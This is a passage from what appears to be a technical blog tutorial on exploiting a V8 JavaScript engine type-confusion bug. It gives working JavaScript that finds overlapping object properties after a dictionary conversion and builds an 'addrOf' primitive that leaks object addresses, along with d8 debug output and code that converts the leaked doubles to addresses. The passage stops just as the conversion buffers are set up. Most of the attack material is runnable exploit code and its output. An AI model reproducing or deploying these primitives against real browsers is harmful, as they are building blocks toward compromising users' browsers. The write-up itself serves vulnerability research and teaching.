<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">b</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">13</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mi">14</span><span class="p">};</span>
</code></pre></div></div>
<p>After this code is executed in V8, the Map of <code class="language-plaintext highlighter-rouge">obj</code> will show that it has a property <code class="language-plaintext highlighter-rouge">a</code> that is an SMI and a property <code class="language-plaintext highlighter-rouge">b</code> that is an object with a property <code class="language-plaintext highlighter-rouge">x</code> that is also an SMI.</p>
<p>If we force this function to be JIT’d, then the Map check for <code class="language-plaintext highlighter-rouge">b</code> will be omitted, since speculative assumptions will be made to assume that property <code class="language-plaintext highlighter-rouge">b</code> will always be an object with a specific Map, allowing redundancy elimination to remove the check. If this type information is invalidated, such as when a property is added or the value is modified to be a double, then a new Map will be allocated and the BinaryOp will be updated to include type information for both an SMI and Double.</p>
<p>With this in mind, it becomes possible to abuse this scenario along with our overlapping properties to construct a powerful exploit primitive that will be the foundation for out read and write primitives.</p>
<p>An example of this code that will be used as our base for the primitives can be seen below with comments.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
// Access Property inline of obj, forcing a CheckMap operation
obj.inline;
// Force a Map Transition via our side-effect
this.Object.create(obj);
// Trigger our type-confusion by accessing an out-of-bound property.
// This will load p1 from our object thinking it's ObjX, but instead
// due to our bug and overlapping properties, it loads p2 which is ObjY
let p = obj.</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
return p;
}
`</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nx">makeObj</span><span class="p">();</span>
<span class="nx">obj</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="nx">ObjX</span><span class="p">};</span>
<span class="nx">obj</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">ObjY</span><span class="p">};</span>
<span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
</code></pre></div></div>
<p>As you can see, <code class="language-plaintext highlighter-rouge">p1</code> and <code class="language-plaintext highlighter-rouge">p2</code> are our overlapping properties after our array is converted to a dictionary. By setting <code class="language-plaintext highlighter-rouge">p1</code> as Object X and <code class="language-plaintext highlighter-rouge">p2</code> as Object Y, when we JIT compile the <code class="language-plaintext highlighter-rouge">vuln</code> function, the compiler will assume that our variable <code class="language-plaintext highlighter-rouge">p</code> will be of type Object X due to the Map of <code class="language-plaintext highlighter-rouge">obj</code> omitting the type checks.</p>
<p>However, due to the initial type-confusion vulnerability we are exploiting, the code will actually read property <code class="language-plaintext highlighter-rouge">p2</code> and receive Object Y. In this case, the engine will then represent Object Y as Object X, causing another type confusion.</p>
<p>By using this global type confusion that we constructed, we can now create our read and write primitives to leak object addresses and to write to arbitrary object fields.</p>
<h2 id="the-addrof-read-primitive">The <code class="language-plaintext highlighter-rouge">addrOf</code> Read Primitive</h2>
<p>The <code class="language-plaintext highlighter-rouge">addrOf</code> primitive stands for “Address Of” and it does exactly what it says. It allows us to leak the address pointer of a specific object by abusing our constructed type-confusion.</p>
<p>As demonstrated in the example above, we can create a global type confusion by abusing our overlapping properties and the way Maps store type information, allowing us to represent the output of Object Y as Object X.</p>
<p>So, the question is, how do we abuse this scenario to leak a memory address?</p>
<p>We can’t simply pass in two objects and return an object because they are the same shape. If we do this, V8 will simply dereference the object and either return the object type, or the object’s properties.</p>
<p>An example of what we would see is shown below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p24 and p21 overlap!
[+] Leaking Object Address...
[+] Object Address: [object Object]
</code></pre></div></div>
<p>As you can see, the return value of <code class="language-plaintext highlighter-rouge">[object Object]</code> isn’t useful for us. Instead, we need to return the object but as a different type.</p>
<p>In this case, we can create a type-confusion read primitive by making Object X a Double! This way, when we call <code class="language-plaintext highlighter-rouge">p1</code>, it will expect a double value, and since <code class="language-plaintext highlighter-rouge">p1</code> actually returns <code class="language-plaintext highlighter-rouge">p2</code> (which is an object pointer) instead of dereferencing the pointer, it will return it to us as a double floating-point number!</p>
<p>Let’s see this in action. Using the example code from earlier, we can modify it to create an <code class="language-plaintext highlighter-rouge">addrOf</code> function by changing Object X to a double and leaving Object Y as an object.</p>
<p>The function will look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrOf</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
return obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nx">makeObj</span><span class="p">()</span>
<span class="nx">obj</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">obj</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="c1">// Returns Address of obj as Double</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see, we set <code class="language-plaintext highlighter-rouge">p1</code> as a double with the value of 13.37 and we set Object Y as the object that gets created from our <code class="language-plaintext highlighter-rouge">makeObj</code> function.</p>
<p>After triggering the vulnerability through the <code class="language-plaintext highlighter-rouge">vuln</code> function, the engine will assume that the value returned to us by <code class="language-plaintext highlighter-rouge">obj.p1.x</code> will be a double, but instead it will load the pointer to our <code class="language-plaintext highlighter-rouge">p2</code> object and return it as a double.</p>
<p>This way we should be able to leak our objects address, but we have one slight problem with the <code class="language-plaintext highlighter-rouge">makeObj</code> function. Currently the <code class="language-plaintext highlighter-rouge">makeObj</code> function creates our object with one in-line and 32 out-of-line properties.</p>
<p>As you may recall, those 32 out-of-line properties are all negative numbers which we used to avoid false positives when finding overlapping properties. While this isn’t an issue, the bigger problem is that after we find the overlapping properties, we need to be able to modify those specific property indexes within our array’s backing store so that when the dictionary conversion occurs, we can exploit our type confusion with precision.</p>
<p>Currently, that’s not possible for reasons explained below.</p>
<p>After our object is created, if we try to modify its properties at a specific index, it will either be added to the start or to the end of the properties array. Additionally, we can’t simply modify a named property via its <code class="language-plaintext highlighter-rouge">pN</code> name as it’s not defined.</p>
<p>An example of this can be shown below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">p1</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span> <span class="na">p2</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span> <span class="na">p3</span><span class="p">:</span><span class="mi">3</span><span class="p">};</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">=</span> <span class="mi">12</span><span class="p">;</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span>
<span class="p">{</span><span class="mi">12</span><span class="p">:</span> <span class="mi">12</span><span class="p">,</span> <span class="nx">p1</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">p2</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="nx">p3</span><span class="p">:</span> <span class="mi">3</span><span class="p">}</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span><span class="p">[</span><span class="nx">p3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">12</span>
<span class="p">(</span><span class="nx">d8</span><span class="p">):</span><span class="mi">1</span><span class="p">:</span> <span class="nx">ReferenceError</span><span class="p">:</span> <span class="nx">p3</span> <span class="nx">is</span> <span class="nx">not</span> <span class="nx">defined</span>
<span class="nx">obj</span><span class="p">[</span><span class="nx">p3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">12</span>
<span class="o">^</span>
</code></pre></div></div>
<p>To accurately set our objects where we need them, we need to create an array of properties that will be passed to our object during creation. This way, by using the index from <code class="language-plaintext highlighter-rouge">p1</code> and <code class="language-plaintext highlighter-rouge">p2</code>, we can create a holey array of properties that will allow us to precisely set our objects.</p>
<p>An example of this can be seen below:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">=</span> <span class="mi">12</span><span class="p">;</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">obj</span>
<span class="p">[,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="mi">12</span><span class="p">]</span>
</code></pre></div></div>
<p>To do this, let’s modify our <code class="language-plaintext highlighter-rouge">makeObj</code> function to take in an array of <code class="language-plaintext highlighter-rouge">pValues</code> as properties and have <code class="language-plaintext highlighter-rouge">pValues[i]</code> set as the value, like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Function that creates an object with one in-line and 32 out-of-line properties</span>
<span class="kd">function</span> <span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">inline</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">,</span> <span class="p">{</span>
<span class="na">writable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="nx">pValues</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>With this in place, we can now modify our <code class="language-plaintext highlighter-rouge">addrOf</code> function. We’ll start by adding a new <code class="language-plaintext highlighter-rouge">pValues</code> array and then setting <code class="language-plaintext highlighter-rouge">p1</code> in the array to be an object with a double value and <code class="language-plaintext highlighter-rouge">p2</code> to be a custom-created object.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrOf</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
return obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">z</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.37</span><span class="p">)</span> <span class="p">{</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see, our JIT loop will call <code class="language-plaintext highlighter-rouge">makeObj</code> to create an object with our <code class="language-plaintext highlighter-rouge">p1</code> and <code class="language-plaintext highlighter-rouge">p2</code> properties, and then pass that to our <code class="language-plaintext highlighter-rouge">vuln</code> function to trigger the type confusion. The <code class="language-plaintext highlighter-rouge">if</code> statement is checking to see if the results returned by the <code class="language-plaintext highlighter-rouge">vuln</code> function don’t equal 13.37. If it doesn’t, it means we successfully triggered our type confusion and have read the address pointer of <code class="language-plaintext highlighter-rouge">obj</code>.</p>
<p>Since we are testing this, I have also added a <code class="language-plaintext highlighter-rouge">%DebugPrint</code> statement to print out the address of <code class="language-plaintext highlighter-rouge">obj</code>. This allows us to validate that the data returned is, in fact, our address.</p>
<p>Our exploit script will now look like so. Note, that in this test case, I simply added a call to <code class="language-plaintext highlighter-rouge">addrOf</code> which will exploit our overlapped properties to leak the object address that is hardcoded within the function.</p>
<p>Also, take note that I have modified our <code class="language-plaintext highlighter-rouge">findOverlappingProperties</code> function to include a <code class="language-plaintext highlighter-rouge">pValues</code> array for our negative numbers. This was done to support the modification we made to our <code class="language-plaintext highlighter-rouge">makeObj</code> function.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Function that creates an object with one in-line and 32 out-of-line properties</span>
<span class="kd">function</span> <span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">inline</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">,</span> <span class="p">{</span>
<span class="na">writable</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="nx">pValues</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Function that finds a pair of properties where p1 is stored at the same offset</span>
<span class="c1">// in the FixedArray as p2 in the NameDictionary</span>
<span class="kd">let</span> <span class="nx">p1</span><span class="p">,</span> <span class="nx">p2</span><span class="p">;</span>
<span class="kd">function</span> <span class="nx">findOverlappingProperties</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// Create an array of all 32 property names such as p1..p32</span>
<span class="kd">let</span> <span class="nx">pNames</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">pNames</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Create eval of our vuln function that will generate code during runtime</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
// Access Property inline of obj, forcing a CheckMap operation
obj.inline;
// Force a Map Transition via our side-effect
this.Object.create(obj);
// Trigger our type-confusion by accessing out-of-bound properties
</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">p</span><span class="p">)</span> <span class="o">=></span> <span class="s2">`let </span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2"> = obj.</span><span class="p">${</span><span class="nx">p</span><span class="p">}</span><span class="s2">;`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">)}</span><span class="s2">
return [</span><span class="p">${</span><span class="nx">pNames</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">, </span><span class="dl">'</span><span class="p">)}</span><span class="s2">];
}
`</span><span class="p">)</span>
<span class="c1">// Create an array of negative values from -1 to -32 to be used</span>
<span class="c1">// for out makeObj function</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">32</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="o">-</span><span class="nx">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// JIT code to trigger vuln</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Create Object and pass it to Vuln function</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="c1">// Look for overlapping properties in results</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">res</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// If i is not the same value, and res[i] is between -32 and 0, it overlaps</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span> <span class="o">!==</span> <span class="o">-</span><span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">&&</span> <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o"><</span> <span class="mi">0</span> <span class="o">&&</span> <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">></span> <span class="o">-</span><span class="mi">32</span><span class="p">)</span> <span class="p">{</span>
<span class="p">[</span><span class="nx">p1</span><span class="p">,</span> <span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="nx">i</span><span class="p">,</span> <span class="o">-</span><span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]];</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] Failed to find overlapping properties</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">addrOf</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="s2">`
function vuln(obj) {
obj.inline;
this.Object.create(obj);
// Trigger our type-confusion by accessing an out-of-bound property
// This will load p1 from our object thinking it's a Double, but instead
// due to overlap, it will load p2 which is an Object
return obj.p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2">.x;
}
`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">z</span><span class="p">:</span> <span class="mi">1234</span><span class="p">};</span>
<span class="kd">let</span> <span class="nx">pValues</span> <span class="o">=</span> <span class="p">[];</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mf">13.37</span><span class="p">};</span>
<span class="nx">pValues</span><span class="p">[</span><span class="nx">p2</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="na">y</span><span class="p">:</span> <span class="nx">obj</span><span class="p">};</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">makeObj</span><span class="p">(</span><span class="nx">pValues</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">res</span> <span class="o">!=</span> <span class="mf">13.37</span><span class="p">)</span> <span class="p">{</span>
<span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">throw</span> <span class="dl">"</span><span class="s2">[!] AddrOf Primitive Failed</span><span class="dl">"</span>
<span class="p">}</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">x</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking Object Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Object Address: </span><span class="p">${</span><span class="nx">x</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
</code></pre></div></div>
<p>With that, we can now execute the updated script in d8, and should get output similar to the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax C:\Users\User\Desktop\poc.js
[+] Finding Overlapping Properties...
[+] Properties p6 and p7 overlap!
DebugPrint: 000001E72E81A369: [JS_OBJECT_TYPE] in OldSpace
- map: 0x005245541631 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00bfad784229 <Object map = 00000052455022F1>
- elements: 0x0308c8602cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0308c8602cf1 <FixedArray[0]> {
#z: 1234 (data field 0)
}
0000005245541631: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x00524550c201 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0379e0b82201 <Cell value= 1>
- instance descriptors (own) #1: 0x01e72e80f339 <DescriptorArray[5]>
- layout descriptor: 0000000000000000
- prototype: 0x00bfad784229 <Object map = 00000052455022F1>
- constructor: 0x00bfad784261 <JSFunction Object (sfi = 00000379E0B8ED51)>
- dependent code: 0x0308c8602391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[+] Leaking Object Address...
[+] Object Address: 1.033797443889e-311
</code></pre></div></div>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">addrOf</code> function returned a double floating-point value! Now we need to convert this floating point to an actual address so we can validate its correctness.</p>
<p>To do that, we can use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">TypedArrays</a> which allows us to describe an array-like view of an underlying <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">binary data buffer</a>. Since the data returned to us is a double precision floating point value, we can use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Float64Array">Float64Array</a> to store our double in binary format like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">floatView</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">floatView</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mf">1.033797443889</span><span class="nx">e</span><span class="o">-</span><span class="mi">311</span>
</code></pre></div></div>
<p>Once done, we can convert our <code class="language-plaintext highlighter-rouge">floatView</code> buffer to a 64-bit unsigned integer via the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array">BigUint64Array</a>, which should give us the byte representation of our object’s address.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">uint64View</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">floatView</span><span class="p">.</span><span class="nx">buffer</span><span class="p">);</span>
<span class="nx">d8</span><span class="o">></span> <span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="mi">2092429321065</span><span class="nx">n</span>
</code></pre></div></div>
<p>From here’s it’s as simple as using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString</a> function with base 16 to convert the bytes to hexadecimal, which should give us a valid address.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="nx">uint64View</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="dl">"</span><span class="s2">1e72e81a369</span><span class="dl">"</span>
</code></pre></div></div>
<p>As shown, once we convert our bytes to hex, we see that the value leaked by our <code class="language-plaintext highlighter-rouge">addrOf</code> primitive matches our object’s address of of <code class="language-plaintext highlighter-rouge">000001E72E81A369</code>!</p>
<p>We now have a working <code class="language-plaintext highlighter-rouge">addrOf</code> read primitive!</p>
<p>From here, there is just one slight modification that needs to be made for our <code class="language-plaintext highlighter-rouge">addrOf</code> function. We have to make sure we subtract <code class="language-plaintext highlighter-rouge">1n</code> from the <code class="language-plaintext highlighter-rouge">BigUint64Array</code> to account for pointer tagging if we want to use this address further in the script.</p>
<p>Our <code class="language-plaintext highlighter-rouge">addrOf</code> function with its conversion buffers will now look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Conversion Buffers</span>
<span class="kd">let</span> <span class="nx">floatView</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Float64Array</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">uint64View</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">floatView</span><span class="p">.</span><span class="nx">buffer</span><span class="p">);</span>
